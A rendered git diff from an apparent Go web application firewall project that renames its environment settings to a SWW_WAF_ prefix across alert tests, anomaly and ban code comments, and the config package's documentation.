q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
|
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
|
||||||
}
|
}
|
||||||
|
|
||||||
if repeats > 0 {
|
if repeats > 0 {
|
||||||
reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+
|
reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+
|
||||||
"SWW_ALERT_COOLDOWN that no later alert gives", repeats))
|
"SWW_WAF_ALERT_COOLDOWN that no later alert gives", repeats))
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(reasons) > 0 {
|
if len(reasons) > 0 {
|
||||||
|
|||||||
@@ -132,7 +132,7 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) {
|
|||||||
|
|
||||||
if q.WouldSend(alerts.EventBan, netblock(1)) ||
|
if q.WouldSend(alerts.EventBan, netblock(1)) ||
|
||||||
q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
|
q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
|
||||||
t.Error("a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out")
|
t.Error("a ban alert would be sent, though SWW_WAF_ALERT_EVENTS leaves it out")
|
||||||
}
|
}
|
||||||
|
|
||||||
if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
|
if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
|
||||||
@@ -184,8 +184,8 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) {
|
|||||||
onlyNtfy.NtfyURL = parseURL(ntfyURL)
|
onlyNtfy.NtfyURL = parseURL(ntfyURL)
|
||||||
|
|
||||||
for setting, params := range map[string]alerts.Params{
|
for setting, params := range map[string]alerts.Params{
|
||||||
"SWW_ALERT_SLACK_WEBHOOK_URL": onlySlack,
|
"SWW_WAF_ALERT_SLACK_WEBHOOK_URL": onlySlack,
|
||||||
"SWW_ALERT_NTFY_URL": onlyNtfy,
|
"SWW_WAF_ALERT_NTFY_URL": onlyNtfy,
|
||||||
} {
|
} {
|
||||||
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
|
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
|
||||||
t.Errorf("a ban alert would not be sent with only %s set", setting)
|
t.Errorf("a ban alert would not be sent with only %s set", setting)
|
||||||
@@ -359,7 +359,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
|
|||||||
"as_name": "",
|
"as_name": "",
|
||||||
"country": "",
|
"country": "",
|
||||||
"reason": "3 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
|
"reason": "3 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
|
||||||
"past the 2 an hour SWW_ALERT_MAX_PER_HOUR allows",
|
"past the 2 an hour SWW_WAF_ALERT_MAX_PER_HOUR allows",
|
||||||
"detail": map[string]any{
|
"detail": map[string]any{
|
||||||
"hour": started,
|
"hour": started,
|
||||||
"count": float64(3),
|
"count": float64(3),
|
||||||
@@ -525,7 +525,7 @@ func TestFailedRequestIsSentAgainWithBackoff(t *testing.T) {
|
|||||||
wantCounts(t, q, 0, int64(len(want)), 0, 0)
|
wantCounts(t, q, 0, int64(len(want)), 0, 0)
|
||||||
|
|
||||||
if !strings.Contains(log.String(),
|
if !strings.Contains(log.String(),
|
||||||
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) {
|
`"msg":"sending an alert to SWW_WAF_ALERT_WEBHOOK_URL failed"`) {
|
||||||
t.Errorf("process log %q names no failure", log.String())
|
t.Errorf("process log %q names no failure", log.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -595,7 +595,7 @@ func TestRefusedAlertIsGivenUpAndTheNextSent(t *testing.T) {
|
|||||||
wantCounts(t, q, 1, 3, 0, 1)
|
wantCounts(t, q, 1, 3, 0, 1)
|
||||||
|
|
||||||
if !strings.Contains(log.String(),
|
if !strings.Contains(log.String(),
|
||||||
`"msg":"gave up an alert SWW_ALERT_WEBHOOK_URL refused"`) {
|
`"msg":"gave up an alert SWW_WAF_ALERT_WEBHOOK_URL refused"`) {
|
||||||
t.Errorf("process log %q names no alert given up", log.String())
|
t.Errorf("process log %q names no alert given up", log.String())
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -619,7 +619,7 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) {
|
|||||||
|
|
||||||
logged := log.String()
|
logged := log.String()
|
||||||
if !strings.Contains(logged,
|
if !strings.Contains(logged,
|
||||||
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
|
`"msg":"sending an alert to SWW_WAF_ALERT_WEBHOOK_URL failed"`) ||
|
||||||
strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") {
|
strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") {
|
||||||
t.Errorf("process log %q names no failure, or names the URL", logged)
|
t.Errorf("process log %q names no failure, or names the URL", logged)
|
||||||
}
|
}
|
||||||
@@ -782,8 +782,8 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
|
const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
|
||||||
"past the 1 an hour SWW_ALERT_MAX_PER_HOUR allows; 1 repeats held back " +
|
"past the 1 an hour SWW_WAF_ALERT_MAX_PER_HOUR allows; 1 repeats held back " +
|
||||||
"by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
|
"by SWW_WAF_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
|
||||||
|
|
||||||
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
|
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
|
||||||
wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary)
|
wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary)
|
||||||
@@ -901,7 +901,7 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
|
|||||||
|
|
||||||
logged := log.String()
|
logged := log.String()
|
||||||
if !strings.Contains(logged,
|
if !strings.Contains(logged,
|
||||||
`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`) ||
|
`"msg":"sending an alert to SWW_WAF_ALERT_SLACK_WEBHOOK_URL failed"`) ||
|
||||||
strings.Contains(logged, "hooks.slack.example") ||
|
strings.Contains(logged, "hooks.slack.example") ||
|
||||||
strings.Contains(logged, "T0123") {
|
strings.Contains(logged, "T0123") {
|
||||||
t.Errorf("process log %q names no failure, or names the URL", logged)
|
t.Errorf("process log %q names no failure, or names the URL", logged)
|
||||||
@@ -1254,7 +1254,7 @@ type eventMessage struct {
|
|||||||
title, priorityAndTag, text string
|
title, priorityAndTag, text string
|
||||||
}
|
}
|
||||||
|
|
||||||
// anAlertForEachEvent returns an alert for each event SWW_ALERT_EVENTS
|
// anAlertForEachEvent returns an alert for each event SWW_WAF_ALERT_EVENTS
|
||||||
// names, the first in observe mode, each with its message.
|
// names, the first in observe mode, each with its message.
|
||||||
func anAlertForEachEvent() []eventMessage {
|
func anAlertForEachEvent() []eventMessage {
|
||||||
return []eventMessage{
|
return []eventMessage{
|
||||||
|
|||||||
+12
-12
@@ -28,16 +28,16 @@ const maxCounters = 20000
|
|||||||
// alerts name them.
|
// alerts name them.
|
||||||
const (
|
const (
|
||||||
// ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
|
// ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
|
||||||
// SWW_IPV6_GROUP_PREFIX.
|
// SWW_WAF_IPV6_GROUP_PREFIX.
|
||||||
ScopeClient = "client"
|
ScopeClient = "client"
|
||||||
// ScopeNet is the netblock around a client, SWW_ANOMALY_NET_V4_PREFIX
|
// ScopeNet is the netblock around a client, SWW_WAF_ANOMALY_NET_V4_PREFIX
|
||||||
// or SWW_ANOMALY_NET_V6_PREFIX long.
|
// or SWW_WAF_ANOMALY_NET_V6_PREFIX long.
|
||||||
ScopeNet = "net"
|
ScopeNet = "net"
|
||||||
// ScopeASN is an AS number.
|
// ScopeASN is an AS number.
|
||||||
ScopeASN = "asn"
|
ScopeASN = "asn"
|
||||||
// ScopeTotal is the whole service.
|
// ScopeTotal is the whole service.
|
||||||
ScopeTotal = "total"
|
ScopeTotal = "total"
|
||||||
// ScopeWatchedNet is a named netblock of SWW_WATCH_NETS.
|
// ScopeWatchedNet is a named netblock of SWW_WAF_WATCH_NETS.
|
||||||
ScopeWatchedNet = "watched_net"
|
ScopeWatchedNet = "watched_net"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -62,7 +62,7 @@ type Thresholds struct {
|
|||||||
BytesPerHour int64
|
BytesPerHour int64
|
||||||
}
|
}
|
||||||
|
|
||||||
// NamedNetblock is a netblock SWW_WATCH_NETS names.
|
// NamedNetblock is a netblock SWW_WAF_WATCH_NETS names.
|
||||||
type NamedNetblock struct {
|
type NamedNetblock struct {
|
||||||
Name string
|
Name string
|
||||||
Netblock netip.Prefix
|
Netblock netip.Prefix
|
||||||
@@ -70,14 +70,14 @@ type NamedNetblock struct {
|
|||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// The thresholds of each scope: SWW_ANOMALY_CLIENT_*,
|
// The thresholds of each scope: SWW_WAF_ANOMALY_CLIENT_*,
|
||||||
// SWW_ANOMALY_NET_*, SWW_ANOMALY_ASN_*, SWW_ANOMALY_TOTAL_* and
|
// SWW_WAF_ANOMALY_NET_*, SWW_WAF_ANOMALY_ASN_*, SWW_WAF_ANOMALY_TOTAL_* and
|
||||||
// SWW_WATCH_*.
|
// SWW_WAF_WATCH_*.
|
||||||
Client, Net, ASN, Total, Watch Thresholds
|
Client, Net, ASN, Total, Watch Thresholds
|
||||||
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
|
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
|
||||||
// client (SWW_ANOMALY_NET_V4_PREFIX and SWW_ANOMALY_NET_V6_PREFIX).
|
// client (SWW_WAF_ANOMALY_NET_V4_PREFIX and SWW_WAF_ANOMALY_NET_V6_PREFIX).
|
||||||
NetV4Prefix, NetV6Prefix int
|
NetV4Prefix, NetV6Prefix int
|
||||||
// NamedNetblocks are SWW_WATCH_NETS.
|
// NamedNetblocks are SWW_WAF_WATCH_NETS.
|
||||||
NamedNetblocks []NamedNetblock
|
NamedNetblocks []NamedNetblock
|
||||||
// Alerts receive the anomaly alerts.
|
// Alerts receive the anomaly alerts.
|
||||||
Alerts *alerts.Queue
|
Alerts *alerts.Queue
|
||||||
@@ -107,13 +107,13 @@ type Request struct {
|
|||||||
Host string
|
Host string
|
||||||
// Client is the client's address, and ClientGroup the client it is
|
// Client is the client's address, and ClientGroup the client it is
|
||||||
// counted as: its IPv4 address, or the IPv6 netblock of
|
// counted as: its IPv4 address, or the IPv6 netblock of
|
||||||
// SWW_IPV6_GROUP_PREFIX its address is in.
|
// SWW_WAF_IPV6_GROUP_PREFIX its address is in.
|
||||||
Client netip.Addr
|
Client netip.Addr
|
||||||
ClientGroup netip.Prefix
|
ClientGroup netip.Prefix
|
||||||
// ASN, ASName and Country are the client's as looked up, each "" when
|
// ASN, ASName and Country are the client's as looked up, each "" when
|
||||||
// unknown.
|
// unknown.
|
||||||
ASN, ASName, Country string
|
ASN, ASName, Country string
|
||||||
// Bytes are the request's bytes, as SWW_BYTES_COUNT counts them.
|
// Bytes are the request's bytes, as SWW_WAF_BYTES_COUNT counts them.
|
||||||
Bytes int64
|
Bytes int64
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -123,7 +123,7 @@ type Notes struct {
|
|||||||
LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
|
LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
|
||||||
// RuleID and Target are, for a ban for a clear sign of attack, the id
|
// RuleID and Target are, for a ban for a clear sign of attack, the id
|
||||||
// of the rule file rule that matched, and its target; TrapPath is, for
|
// of the rule file rule that matched, and its target; TrapPath is, for
|
||||||
// one for a request for a path in SWW_TRAP_PATHS, that path as the
|
// one for a request for a path in SWW_WAF_TRAP_PATHS, that path as the
|
||||||
// client sent it.
|
// client sent it.
|
||||||
RuleID string `json:"rule_id,omitempty"`
|
RuleID string `json:"rule_id,omitempty"`
|
||||||
Target string `json:"target,omitempty"`
|
Target string `json:"target,omitempty"`
|
||||||
@@ -199,7 +199,7 @@ type Ledger struct {
|
|||||||
// v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6
|
// v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6
|
||||||
// netblocks that have been banned. Check looks for a ban at each of
|
// netblocks that have been banned. Check looks for a ban at each of
|
||||||
// them, so that a ban read from bans.json refuses every client in its
|
// them, so that a ban read from bans.json refuses every client in its
|
||||||
// netblock even when it was made with another SWW_BAN_SCOPE_V4_PREFIX,
|
// netblock even when it was made with another SWW_WAF_BAN_SCOPE_V4_PREFIX,
|
||||||
// or another length of an IPv6 client's netblock.
|
// or another length of an IPv6 client's netblock.
|
||||||
v4Lengths, v6Lengths []int
|
v4Lengths, v6Lengths []int
|
||||||
}
|
}
|
||||||
|
|||||||
+289
-277
@@ -1,10 +1,9 @@
|
|||||||
// Package config reads sww's settings, and is the one place they are
|
// Package config reads sww's settings, and is the one place they are
|
||||||
// read. Every setting is an environment variable. The settings of `sww
|
// read. Every setting is an environment variable. The settings of `sww
|
||||||
// discriminator` start with SWW_, every one of them has a default, and most can be
|
// discriminator` start with SWW_WAF_, every one of them has a default, and most can be
|
||||||
// given as a file instead. Those of `sww rproxy` start with SWRP_. Each
|
// given as a file instead. Those of `sww rproxy` start with SWW_RPROXY_. Each
|
||||||
// of them but SWRP_WAF_BACKEND has a default, and none can be given as a file,
|
// of them but SWW_RPROXY_WAF_BACKEND has a default, and each can be given as a file
|
||||||
// since rproxy never touches disk. SWW_COMMAND chooses which of the two
|
// too. SWW_COMMAND chooses which of the two the image runs.
|
||||||
// the image runs.
|
|
||||||
package config
|
package config
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -27,6 +26,8 @@ import (
|
|||||||
"unicode"
|
"unicode"
|
||||||
"unicode/utf8"
|
"unicode/utf8"
|
||||||
|
|
||||||
|
"github.com/spf13/viper"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
"sneak.berlin/go/smallwebwaf/internal/anomaly"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
||||||
@@ -35,121 +36,121 @@ import (
|
|||||||
// Config is the settings of `sww discriminator`. A time or size limit of
|
// Config is the settings of `sww discriminator`. A time or size limit of
|
||||||
// zero is off.
|
// zero is off.
|
||||||
type Config struct {
|
type Config struct {
|
||||||
// ListenAddr is where discriminator listens (SWW_LISTEN_ADDR).
|
// ListenAddr is where discriminator listens (SWW_WAF_LISTEN_ADDR).
|
||||||
ListenAddr string
|
ListenAddr string
|
||||||
// InstanceName is the name every log line and alert gives as instance,
|
// InstanceName is the name every log line and alert gives as instance,
|
||||||
// and every metric carries as its label instance (SWW_INSTANCE_NAME),
|
// and every metric carries as its label instance (SWW_WAF_INSTANCE_NAME),
|
||||||
// by default the host's name, which docker sets to the first 12
|
// by default the host's name, which docker sets to the first 12
|
||||||
// characters of the container's id.
|
// characters of the container's id.
|
||||||
InstanceName string
|
InstanceName string
|
||||||
// Observe is true in observe mode, when SWW_MODE is observe rather
|
// Observe is true in observe mode, when SWW_WAF_MODE is observe rather
|
||||||
// than enforce: a request that SWW_DENY_NETS, a ban, the country
|
// than enforce: a request that SWW_WAF_DENY_NETS, a ban, the country
|
||||||
// lists, a rate limit, a rule or the Core Rule Set would refuse is
|
// lists, a rate limit, a rule or the Core Rule Set would refuse is
|
||||||
// allowed instead, and no ban is made.
|
// allowed instead, and no ban is made.
|
||||||
Observe bool
|
Observe bool
|
||||||
// IPv6GroupPrefix is the length of the IPv6 netblock that is one client
|
// IPv6GroupPrefix is the length of the IPv6 netblock that is one client
|
||||||
// (SWW_IPV6_GROUP_PREFIX), from 32 to 128.
|
// (SWW_WAF_IPV6_GROUP_PREFIX), from 32 to 128.
|
||||||
IPv6GroupPrefix int
|
IPv6GroupPrefix int
|
||||||
// MaxTrackedClients is the most clients the table of clients holds, in
|
// MaxTrackedClients is the most clients the table of clients holds, in
|
||||||
// memory and in clients.json (SWW_MAX_TRACKED_CLIENTS).
|
// memory and in clients.json (SWW_WAF_MAX_TRACKED_CLIENTS).
|
||||||
MaxTrackedClients int
|
MaxTrackedClients int
|
||||||
// AllowNets are the netblocks whose clients skip every check
|
// AllowNets are the netblocks whose clients skip every check
|
||||||
// (SWW_ALLOW_NETS). RateLimitExemptNets are those whose clients the
|
// (SWW_WAF_ALLOW_NETS). RateLimitExemptNets are those whose clients the
|
||||||
// rate limits neither count nor refuse (SWW_RATE_LIMIT_EXEMPT_NETS).
|
// rate limits neither count nor refuse (SWW_WAF_RATE_LIMIT_EXEMPT_NETS).
|
||||||
// DenyNets are those whose clients are always refused
|
// DenyNets are those whose clients are always refused
|
||||||
// (SWW_DENY_NETS).
|
// (SWW_WAF_DENY_NETS).
|
||||||
AllowNets []netip.Prefix
|
AllowNets []netip.Prefix
|
||||||
RateLimitExemptNets []netip.Prefix
|
RateLimitExemptNets []netip.Prefix
|
||||||
DenyNets []netip.Prefix
|
DenyNets []netip.Prefix
|
||||||
// RateLimitPerMinute, RateLimitPerHour and RateLimitPerDay are the
|
// RateLimitPerMinute, RateLimitPerHour and RateLimitPerDay are the
|
||||||
// most requests a client may make in a minute, an hour and a day
|
// most requests a client may make in a minute, an hour and a day
|
||||||
// (SWW_RATE_LIMIT_PER_MINUTE, SWW_RATE_LIMIT_PER_HOUR and
|
// (SWW_WAF_RATE_LIMIT_PER_MINUTE, SWW_WAF_RATE_LIMIT_PER_HOUR and
|
||||||
// SWW_RATE_LIMIT_PER_DAY).
|
// SWW_WAF_RATE_LIMIT_PER_DAY).
|
||||||
RateLimitPerMinute int64
|
RateLimitPerMinute int64
|
||||||
RateLimitPerHour int64
|
RateLimitPerHour int64
|
||||||
RateLimitPerDay int64
|
RateLimitPerDay int64
|
||||||
// RateLimitExemptPaths are the path prefixes whose requests the rate
|
// RateLimitExemptPaths are the path prefixes whose requests the rate
|
||||||
// limits neither count nor refuse (SWW_RATE_LIMIT_EXEMPT_PATHS).
|
// limits neither count nor refuse (SWW_WAF_RATE_LIMIT_EXEMPT_PATHS).
|
||||||
// Each starts with /.
|
// Each starts with /.
|
||||||
RateLimitExemptPaths []string
|
RateLimitExemptPaths []string
|
||||||
// BytesLimitPerMinute, BytesLimitPerHour and BytesLimitPerDay are the
|
// BytesLimitPerMinute, BytesLimitPerHour and BytesLimitPerDay are the
|
||||||
// most bytes a client's requests may carry in a minute, an hour and a
|
// most bytes a client's requests may carry in a minute, an hour and a
|
||||||
// day (SWW_BYTES_LIMIT_PER_MINUTE, SWW_BYTES_LIMIT_PER_HOUR and
|
// day (SWW_WAF_BYTES_LIMIT_PER_MINUTE, SWW_WAF_BYTES_LIMIT_PER_HOUR and
|
||||||
// SWW_BYTES_LIMIT_PER_DAY). BytesCount is which body bytes count
|
// SWW_WAF_BYTES_LIMIT_PER_DAY). BytesCount is which body bytes count
|
||||||
// toward them (SWW_BYTES_COUNT): response, request or both.
|
// toward them (SWW_WAF_BYTES_COUNT): response, request or both.
|
||||||
BytesLimitPerMinute int64
|
BytesLimitPerMinute int64
|
||||||
BytesLimitPerHour int64
|
BytesLimitPerHour int64
|
||||||
BytesLimitPerDay int64
|
BytesLimitPerDay int64
|
||||||
BytesCount string
|
BytesCount string
|
||||||
// LookupSource is where each client's AS number and country are
|
// LookupSource is where each client's AS number and country are
|
||||||
// looked up (SWW_LOOKUP_SOURCE): geojs, file, or off for nowhere.
|
// looked up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere.
|
||||||
// LookupDBPath is the lookup database, the IPinfo Lite file looked up
|
// LookupDBPath is the lookup database, the IPinfo Lite file looked up
|
||||||
// in while LookupSource is file (SWW_LOOKUP_DB_PATH), and "" for any
|
// in while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any
|
||||||
// other source. A request waits up to LookupTimeout for its client's
|
// other source. A request waits up to LookupTimeout for its client's
|
||||||
// first answer from GeoJS while a setting needs it
|
// first answer from GeoJS while a setting needs it
|
||||||
// (SWW_LOOKUP_TIMEOUT), which cannot be off. AddLookupHeaders is true
|
// (SWW_WAF_LOOKUP_TIMEOUT), which cannot be off. AddLookupHeaders is true
|
||||||
// when the app is passed the client's AS number and country in headers
|
// when the app is passed the client's AS number and country in headers
|
||||||
// (SWW_ADD_LOOKUP_HEADERS).
|
// (SWW_WAF_ADD_LOOKUP_HEADERS).
|
||||||
LookupSource string
|
LookupSource string
|
||||||
LookupDBPath string
|
LookupDBPath string
|
||||||
LookupTimeout time.Duration
|
LookupTimeout time.Duration
|
||||||
AddLookupHeaders bool
|
AddLookupHeaders bool
|
||||||
// ExclusivelyAllowedCountries, when not empty, are the only countries
|
// ExclusivelyAllowedCountries, when not empty, are the only countries
|
||||||
// whose clients are let through (SWW_EXCLUSIVELY_ALLOWED_COUNTRIES),
|
// whose clients are let through (SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES),
|
||||||
// two-letter codes in capitals, as GeoJS gives them.
|
// two-letter codes in capitals, as GeoJS gives them.
|
||||||
ExclusivelyAllowedCountries []string
|
ExclusivelyAllowedCountries []string
|
||||||
// TagLists are the address lists that each add a tag to the requests of
|
// TagLists are the address lists that each add a tag to the requests of
|
||||||
// the clients they hold (SWW_TAG_LISTS). TagDeny are the tags whose
|
// the clients they hold (SWW_WAF_TAG_LISTS). TagDeny are the tags whose
|
||||||
// requests are refused (SWW_TAG_DENY). TagLimitPercent gives the clients
|
// requests are refused (SWW_WAF_TAG_DENY). TagLimitPercent gives the clients
|
||||||
// with a tag that percentage of every rate limit and byte limit, from 1
|
// with a tag that percentage of every rate limit and byte limit, from 1
|
||||||
// to 99 (SWW_TAG_LIMIT_PERCENT). All hold tags as requests carry them: in
|
// to 99 (SWW_WAF_TAG_LIMIT_PERCENT). All hold tags as requests carry them: in
|
||||||
// lower case, a country code in capitals.
|
// lower case, a country code in capitals.
|
||||||
TagLists []TagList
|
TagLists []TagList
|
||||||
TagDeny []string
|
TagDeny []string
|
||||||
TagLimitPercent map[string]int64
|
TagLimitPercent map[string]int64
|
||||||
// RouteWatchURL is where the routewatch instance is that adds the asn=
|
// RouteWatchURL is where the routewatch instance is that adds the asn=
|
||||||
// and prefix= tags, "" for none (SWW_ROUTEWATCH_URL).
|
// and prefix= tags, "" for none (SWW_WAF_ROUTEWATCH_URL).
|
||||||
RouteWatchURL string
|
RouteWatchURL string
|
||||||
// The biased thresholds. ASNBytesPercent and CountryBytesPercent give
|
// The biased thresholds. ASNBytesPercent and CountryBytesPercent give
|
||||||
// those they list a percentage of the byte limits in place of the one
|
// those they list a percentage of the byte limits in place of the one
|
||||||
// TagLimitPercent gives their asn= or country= tag
|
// TagLimitPercent gives their asn= or country= tag
|
||||||
// (SWW_ASN_BYTES_PERCENT and SWW_COUNTRY_BYTES_PERCENT). Each holds
|
// (SWW_WAF_ASN_BYTES_PERCENT and SWW_WAF_COUNTRY_BYTES_PERCENT). Each holds
|
||||||
// percentages from 0 to 100, by AS number, written as AS64496, or by
|
// percentages from 0 to 100, by AS number, written as AS64496, or by
|
||||||
// country, a two-letter code in capitals, as the lookup gives them.
|
// country, a two-letter code in capitals, as the lookup gives them.
|
||||||
// UnknownLimitPercent is the percentage of every limit a client without
|
// UnknownLimitPercent is the percentage of every limit a client without
|
||||||
// a country gets (SWW_UNKNOWN_LIMIT_PERCENT). ASNLimitPercentURL is
|
// a country gets (SWW_WAF_UNKNOWN_LIMIT_PERCENT). ASNLimitPercentURL is
|
||||||
// where a file of AS:percent lines is fetched from, whose percentages
|
// where a file of AS:percent lines is fetched from, whose percentages
|
||||||
// count like asn= tags in TagLimitPercent (SWW_ASN_LIMIT_PERCENT_URL),
|
// count like asn= tags in TagLimitPercent (SWW_WAF_ASN_LIMIT_PERCENT_URL),
|
||||||
// "" while it is unset.
|
// "" while it is unset.
|
||||||
ASNBytesPercent map[string]int64
|
ASNBytesPercent map[string]int64
|
||||||
CountryBytesPercent map[string]int64
|
CountryBytesPercent map[string]int64
|
||||||
UnknownLimitPercent int64
|
UnknownLimitPercent int64
|
||||||
ASNLimitPercentURL string
|
ASNLimitPercentURL string
|
||||||
// BlocklistURLs are where the blocklists are fetched from
|
// BlocklistURLs are where the blocklists are fetched from
|
||||||
// (SWW_BLOCKLIST_URLS). Each list, and ASNLimitPercentURL's, is
|
// (SWW_WAF_BLOCKLIST_URLS). Each list, and ASNLimitPercentURL's, is
|
||||||
// fetched again BlocklistRefresh after it was last fetched or tried
|
// fetched again BlocklistRefresh after it was last fetched or tried
|
||||||
// (SWW_BLOCKLIST_REFRESH), which is never less than an hour.
|
// (SWW_WAF_BLOCKLIST_REFRESH), which is never less than an hour.
|
||||||
// BlocklistAction is what is done with a client a blocklist lists
|
// BlocklistAction is what is done with a client a blocklist lists
|
||||||
// (SWW_BLOCKLIST_ACTION): deny, limit or log; for limit,
|
// (SWW_WAF_BLOCKLIST_ACTION): deny, limit or log; for limit,
|
||||||
// BlocklistLimitPercent is the percentage of every limit it gets.
|
// BlocklistLimitPercent is the percentage of every limit it gets.
|
||||||
BlocklistURLs []string
|
BlocklistURLs []string
|
||||||
BlocklistRefresh time.Duration
|
BlocklistRefresh time.Duration
|
||||||
BlocklistAction string
|
BlocklistAction string
|
||||||
BlocklistLimitPercent int64
|
BlocklistLimitPercent int64
|
||||||
// DNSBLZones are the DNSBL zones clients are asked about
|
// DNSBLZones are the DNSBL zones clients are asked about
|
||||||
// (SWW_DNSBL_ZONES), through DNSBLResolver (SWW_DNSBL_RESOLVER), or
|
// (SWW_WAF_DNSBL_ZONES), through DNSBLResolver (SWW_WAF_DNSBL_RESOLVER), or
|
||||||
// the host's resolver while that is the zero AddrPort.
|
// the host's resolver while that is the zero AddrPort.
|
||||||
// AbuseIPDBKey is the key of the AbuseIPDB account clients are checked
|
// AbuseIPDBKey is the key of the AbuseIPDB account clients are checked
|
||||||
// with (SWW_ABUSEIPDB_KEY), "" while it is unset and none is. A score
|
// with (SWW_WAF_ABUSEIPDB_KEY), "" while it is unset and none is. A score
|
||||||
// of AbuseIPDBMinScore or more is a hit (SWW_ABUSEIPDB_MIN_SCORE), and
|
// of AbuseIPDBMinScore or more is a hit (SWW_WAF_ABUSEIPDB_MIN_SCORE), and
|
||||||
// at most AbuseIPDBDailyBudget checks are made a day
|
// at most AbuseIPDBDailyBudget checks are made a day
|
||||||
// (SWW_ABUSEIPDB_DAILY_BUDGET).
|
// (SWW_WAF_ABUSEIPDB_DAILY_BUDGET).
|
||||||
// ReputationAction is what is done with a client a zone's verdict lists,
|
// ReputationAction is what is done with a client a zone's verdict lists,
|
||||||
// or whose score is a hit (SWW_REPUTATION_ACTION): deny, limit or log;
|
// or whose score is a hit (SWW_WAF_REPUTATION_ACTION): deny, limit or log;
|
||||||
// for limit, ReputationLimitPercent is the percentage of every limit it
|
// for limit, ReputationLimitPercent is the percentage of every limit it
|
||||||
// gets. A verdict or a score is used for ReputationCacheTTL after it was
|
// gets. A verdict or a score is used for ReputationCacheTTL after it was
|
||||||
// fetched (SWW_REPUTATION_CACHE_TTL), and a query or a check may take
|
// fetched (SWW_WAF_REPUTATION_CACHE_TTL), and a query or a check may take
|
||||||
// ReputationTimeout (SWW_REPUTATION_TIMEOUT). Neither can be off.
|
// ReputationTimeout (SWW_WAF_REPUTATION_TIMEOUT). Neither can be off.
|
||||||
DNSBLZones []string
|
DNSBLZones []string
|
||||||
DNSBLResolver netip.AddrPort
|
DNSBLResolver netip.AddrPort
|
||||||
AbuseIPDBKey string
|
AbuseIPDBKey string
|
||||||
@@ -160,74 +161,74 @@ type Config struct {
|
|||||||
ReputationCacheTTL time.Duration
|
ReputationCacheTTL time.Duration
|
||||||
ReputationTimeout time.Duration
|
ReputationTimeout time.Duration
|
||||||
// CrowdSecDecisionsURL is where the decision list of the CrowdSec
|
// CrowdSecDecisionsURL is where the decision list of the CrowdSec
|
||||||
// engine whose local API SWW_CROWDSEC_LAPI_URL names is fetched from:
|
// engine whose local API SWW_WAF_CROWDSEC_LAPI_URL names is fetched from:
|
||||||
// that URL with v1/decisions added to its path, "" while it is unset and
|
// that URL with v1/decisions added to its path, "" while it is unset and
|
||||||
// none is. CrowdSecKey is the key the engine is asked with
|
// none is. CrowdSecKey is the key the engine is asked with
|
||||||
// (SWW_CROWDSEC_LAPI_KEY).
|
// (SWW_WAF_CROWDSEC_LAPI_KEY).
|
||||||
CrowdSecDecisionsURL string
|
CrowdSecDecisionsURL string
|
||||||
CrowdSecKey string
|
CrowdSecKey string
|
||||||
// BanResponse is the status a refused client is answered with, 403
|
// BanResponse is the status a refused client is answered with, 403
|
||||||
// or 429, or 0 to close the connection without an answer
|
// or 429, or 0 to close the connection without an answer
|
||||||
// (SWW_BAN_RESPONSE). It answers a banned client, a request that
|
// (SWW_WAF_BAN_RESPONSE). It answers a banned client, a request that
|
||||||
// breaks a rate limit or matches a ban rule, SWW_DENY_NETS,
|
